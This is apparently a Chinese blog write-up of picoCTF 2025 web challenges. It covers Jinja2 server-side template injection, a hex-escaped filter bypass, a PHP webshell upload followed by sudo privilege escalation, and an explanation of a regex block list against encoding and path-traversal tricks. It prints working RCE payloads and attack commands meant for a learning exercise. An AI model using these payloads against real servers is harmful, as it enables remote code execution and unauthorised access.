picgoCTF2025wp

picgoCTF2025

SSTI1

SSTI漏洞介绍

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

绕过payload

[PayloadsAllTheThings/Server Side Template Injection/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md?ref=blog.qz.sg#jinja2—remote-command-execution)

自动化工具tplmap

github地址:https://github.com/epinna/tplmap

PixPin_2025-07-07_10-28-18

我们可以从headers中看到它是Python应用程序。

如果我们使用经典的{{7*7}} Python SSTI测试,我们将获得以下内容,这表明确实有已确认的SSTI。

PixPin_2025-07-07_14-19-19

我们使用{{ config }}测试配置对象,我们将获得以下内容。

PixPin_2025-07-07_10-58-28

这些设置是典型的 Flask 项目配置文件的一部分。没有直接提到具体的模板引擎,但 Flask 默认使用的是 Jinja2 作为模板引擎,除了 Flask 外,还可以配合其他模板引擎。

查看一些模板RCE方法[PayloadsAllTheThings/Server Side Template Injection/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md?ref=blog.qz.sg#jinja2—remote-command-execution)

以递归方式列出所有工作目录:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -R').read()}}

cat flag

1
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

SSTI2

与 SSTI1类似,不同之处在于存在某些字符的黑名单。我们可以简单使用模板RCE

PixPin_2025-07-07_16-04-27

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('grep picoCTF . -rnw')|attr('read')()}}

PixPin_2025-07-07_16-06-59

head-dump

按照题目描述来做

PixPin_2025-07-07_17-56-02

找到API文档,

PixPin_2025-07-07_15-48-55

PixPin_2025-07-07_15-49-44

找到安装程序安装,PixPin_2025-07-07_15-50-12

下载到本地打开后直接ctri+F搜索得到flag

PixPin_2025-07-07_15-53-06

n0s4n1ty 1

直接上传一个 php shell,文件上传没有对php做任何过滤,我们得到了文件上传路径但是连不上蚁剑。 PixPin_2025-07-07_14-39-12

进入上传的路径将whoami作为cmd参数以?cmd=whoami发送代码执行。这意味着我们的webshell起作用了。

PixPin_2025-07-07_15-01-54

直接进入/root目录显示拒绝请求。

1
ls: cannot open directory '/root': Permission denied

我们尝试查看当前用户可以使用sudo -l运行的命令。

我们可以在不需要密码的情况下运行任何命令。直接sudo提权

我们知道该flag在/root中,并且可能在某些文本文件中。我们可以grep所有文本文件。

sudo提权
sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。
sudo 表示 “superuser do”。 它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。

1
sudo grep -rnw '/root' -e '.*' --include=*.txt

PixPin_2025-07-07_15-13-51

3v@l

PixPin_2025-07-07_16-15-35

1. 0x[0-9A-Fa-f]+

✅ 匹配 十六进制编码

  • 用途:绕过敏感字符串检测,例如:
    • 0x6f 是字符 o
    • 0x7368sh
  • 可被拼接成:0x6f + 0x73os

2. \\u[0-9A-Fa-f]{4}

✅ 匹配 Unicode 编码

  • 用途:绕过关键词过滤,例如:
    • \u006f\u0073os
    • \u0073\u0068\u0065\u006c\u006cshell

3. %[0-9A-Fa-f]{2}

✅ 匹配 URL 编码

  • 用途:绕过 URL 请求中的黑名单,例如:
    • %6f%73os
    • %2e%2e..(目录穿越)

4. \.[A-Za-z0-9]{1,3}\b

✅ 匹配 文件扩展名或类属性

  • 例如:
    • .py, .sh, .exe, .ls, .os
    • .os, .eval, .exec, .subprocess
  • 用于访问属性:obj.__class__, func.__globals__, 等等。

5. [\\\/]

✅ 匹配 路径分隔符

  • /\ 可用于文件路径访问(包括 Linux 和 Windows)
    • 如:../../flag.txt, \windows\system32\cmd.exe

6. \.\.

✅ 匹配 目录穿越

  • 明确防止访问上层目录
    • 如:../../etc/passwd
    • 或用于访问敏感文件或配置文件

picgoCTF2025wp
http://example.com/2025/07/10/picgoCTF2025wp/
作者
everythingis-ok
发布于
2025年7月10日
许可协议